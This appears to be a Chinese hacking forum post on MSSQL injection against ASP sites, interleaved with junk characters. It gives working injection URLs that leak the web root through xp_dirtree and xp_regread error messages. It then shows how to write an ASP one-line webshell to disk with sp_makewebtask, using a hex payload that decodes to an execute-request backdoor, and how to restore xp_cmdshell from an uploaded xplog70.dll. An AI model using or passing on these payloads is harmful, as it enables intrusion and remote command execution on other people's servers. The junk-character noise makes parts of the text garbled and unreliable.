MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
; }, ]+ O0 e  H4 p4 X4 o4 R3 t# m2 e结果显示
1 b% U( y5 T0 b! i6 I
/ l) }" I5 ?4 C2 N& M% K8 xsubdirectory depth
test1 1
5 m" {$ J( G' X; l: H; Atest3 2
test2 1
0 j9 o3 Y5 W) ]( c: T' p2 O0 b
2 ~5 q* k* F& V* @6 j+ k3 y哈哈发现没有那个depth就是目录的级数
" F' d: }! @) Ook了，知道怎么办了吧
; ~7 C% x- M6 y+ p
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
' d5 n3 j9 F! Zhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

4 U- y$ e, G2 ~. t只要加上id＝1，就是第一级目录 。

& R5 E# u3 D+ a
2 |4 P/ V& L; V9 V$ }通过注册表读网站路径:

+ U$ C+ b4 o! b3 p3 g$ c1.;create table [dbo].[cyfd] ([gyfd][char](255));
0 J! J' ~, Y& J9 f* {; H# U2 _- U
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
+ ]. T* p6 m9 I; T0 k5 ~id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

$ o& e6 C, a: c& L& l' `. c* q0 x3.and 1=(select count(*) from 临时表 where 临时字段名>1)
0 ^+ V4 Z! k% C/ t& J- n2 w7 Mand 1=(select count(*) from cyfd where gyfd > 1)
这样IE报错,就把刚才插进去的Web路径的值报出来了
5 @; W& `, j* F2 `
4.drop table cyfd;-- 删除临时表

  K; Z6 h* {/ Q5 s( [! b获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表
* h$ y6 \# c  w
2 R5 i: h7 o! X/ l7 W5 ?2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话


3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
# q6 G; K: [( p  B& k- [EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'

/ V3 E" @  v% I& t0 g4.drop table cmd;-- 删除cmd临时表

( o. Z/ L7 s' a2 z7 |# z% `$ B恢复xp_cmdshell方法之一:
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）
) x5 B/ {( F+ T1 \